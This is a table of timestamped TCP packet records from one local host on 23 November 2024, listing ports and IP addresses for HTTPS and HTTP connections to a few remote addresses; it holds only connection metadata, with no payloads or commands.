Nov 23, 2024 02:55:26.634938955 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.640741110 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.640786886 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.640814066 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.640819073 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.640858889 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.640883923 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.676233053 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.676268101 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.678517103 CET	80	49780	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:26.678572893 CET	49780	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:26.683334112 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.683374882 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.685010910 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.685018063 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.784064054 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.784133911 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.784141064 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.784163952 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.784193993 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.784207106 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.791251898 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.791331053 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.791332006 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.791353941 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.791387081 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.791402102 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.799660921 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.799722910 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.799751043 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.799757957 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.799803019 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.808026075 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.808099985 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.817763090 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.817847013 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.823333025 CET	49780	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:26.839370012 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.839426994 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.889509916 CET	49765	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:26.910629988 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.910636902 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.910865068 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.910868883 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.911118031 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.911130905 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.911144972 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.911197901 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.911261082 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.911267996 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.911282063 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.911328077 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.911334038 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.911371946 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.911377907 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.911415100 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.911472082 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.912151098 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.913146973 CET	49768	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.913160086 CET	443	49768	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.929167986 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.929183006 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.929192066 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.929260969 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.929267883 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.929277897 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.929342985 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.929348946 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.929363012 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.929382086 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.929385900 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.929440022 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.929445982 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.929498911 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.929521084 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.930310011 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.930614948 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.935334921 CET	49767	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:26.935343981 CET	443	49767	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:26.942801952 CET	80	49780	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:27.015333891 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.015424967 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.055517912 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.055546999 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.055593014 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.055649996 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.055677891 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.055695057 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.055730104 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113117933 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113135099 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113147020 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113212109 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113219976 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113235950 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113292933 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113296986 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113321066 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113337994 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113349915 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113365889 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113372087 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113379955 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113401890 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113430977 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113497019 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113517046 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113547087 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113581896 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113594055 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113616943 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113622904 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113652945 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113691092 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113740921 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113740921 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113744974 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113770008 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113809109 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113831997 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113837004 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113874912 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.113939047 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.113991976 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.117813110 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.117899895 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.118813992 CET	49774	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.118827105 CET	443	49774	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.248568058 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.248591900 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.248675108 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.248697042 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.248755932 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.300360918 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.300379992 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.300457954 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.300479889 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.300499916 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.300520897 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.310885906 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.310939074 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.310950041 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.310964108 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.310985088 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.311006069 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.311044931 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.311052084 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.311104059 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.404355049 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.404937983 CET	49782	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:27.404974937 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.405740976 CET	49782	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:27.405765057 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.430552006 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.430578947 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.430629015 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.430656910 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.430740118 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.430740118 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.467420101 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.467447996 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.467511892 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.467905045 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.467921972 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.467969894 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.467994928 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.467997074 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.468012094 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.468013048 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.468031883 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.479053974 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.479440928 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:27.479453087 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.479962111 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:27.479965925 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.485243082 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.485260010 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.485335112 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.485354900 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.485388994 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.485405922 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.500446081 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.500514984 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.500545979 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.500557899 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.500587940 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.500602007 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.504630089 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.504647970 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.504712105 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.504730940 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.504741907 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.504765987 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.542459011 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.542505026 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.542540073 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.542551041 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.542594910 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.542609930 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.628601074 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.628664970 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.628680944 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.628701925 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.628721952 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.628752947 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.645708084 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.645730972 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.645806074 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.645840883 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.645992994 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.661847115 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.661874056 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.661931038 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.661938906 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.661967039 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.661984921 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.678467035 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.678489923 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.678560972 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.678591967 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.678623915 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.678626060 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.678647995 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.678683996 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.678697109 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.678705931 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.678735018 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.678795099 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.693617105 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.693636894 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.693682909 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.693691015 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.693734884 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.693744898 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.702600956 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.702646017 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.702758074 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.702758074 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.702765942 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.703265905 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.709527969 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.709544897 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.709610939 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.709630013 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.709745884 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.725867987 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.725914001 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.726001024 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.726022959 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.726070881 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.726325989 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.726407051 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.726427078 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.726488113 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.726500034 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.726511002 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.727847099 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.745462894 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.745508909 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.745548964 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.745557070 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.745596886 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.745615005 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.780930996 CET	80	49780	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:27.781131983 CET	49780	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:27.827094078 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.827119112 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.827194929 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.827214003 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.827754021 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.838407993 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.838428020 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.838526964 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.838536978 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.838634014 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.848118067 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.848267078 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.848433018 CET	49782	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:27.849842072 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.849864960 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.849930048 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.849941015 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.850032091 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.857239008 CET	49782	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:27.857263088 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.857278109 CET	49782	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:27.857285976 CET	443	49782	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.860409975 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:27.860452890 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.860542059 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:27.860758066 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:27.860769987 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.861052036 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.861071110 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.861108065 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.861155033 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.861161947 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.861207008 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.871922970 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.871937990 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.872009039 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.872016907 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.872605085 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.874342918 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.874408007 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.874434948 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.874444008 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.874517918 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.874517918 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.883048058 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.883064985 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.883135080 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.883142948 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.883310080 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.889504910 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.889554977 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.889617920 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.889631033 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.889667034 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.889692068 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.893650055 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.893666983 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.893740892 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.893748999 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.894040108 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.902621984 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.902674913 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.902776957 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.902776957 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.902786970 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.903060913 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.917828083 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.917854071 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.917937040 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.917947054 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.917968035 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.918008089 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.931881905 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.932112932 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.932169914 CET	49783	443	192.168.2.6	13.107.246.63
